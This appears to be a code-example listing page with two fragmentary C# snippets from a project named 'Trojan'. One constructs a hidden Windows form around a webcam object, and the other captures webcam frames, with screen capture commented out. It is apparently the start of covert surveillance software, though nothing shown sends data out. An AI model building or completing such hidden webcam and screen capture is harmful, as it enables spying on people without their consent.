コード例 #1
0
        public WebForm(WebCam a_webcam, EventWaitHandle a_formReadyEvent)
        {
            //captureDelegate = new Delegate(capture);
            webcam = a_webcam;
            formReadyEvent = a_formReadyEvent;
            InitializeComponent();
            this.Hide();
            this.Visible = false;

            /*
             * webcam = new WebCam();
            webcam.InitializeWebCam(ref imgVideo);
            webcam.Start();
            EndCapture = false;
            webcamThread = new Thread(new ThreadStart(Capture));
            webcamThread.Start();
            webcamThread.IsBackground = true;
               */
        }
コード例 #2
0
ファイル: Program.cs プロジェクト: springcomet/Trojan
        //  [STAThread]
        static void Main(string[] args)
        {
            WebCam webcam = new WebCam();
            byte[] capture = webcam.GetData();
            byte[] capture2 = webcam.GetData();

            //ScreenCap s = new ScreenCap();
            //byte[] screen = s.GetData();
            //Application.EnableVisualStyles();
            //Application.SetCompatibleTextRenderingDefault(false);

            //WebForm webForm = new WebForm();

            //Application.Run(webForm);

            //webForm.CloseWebCam();
            /*
             * WebCam w = new WebCam();
            w.Start();
            System.Threading.Thread.Sleep(1000);
            w.Stop();
            w.GetData();
             * */
        }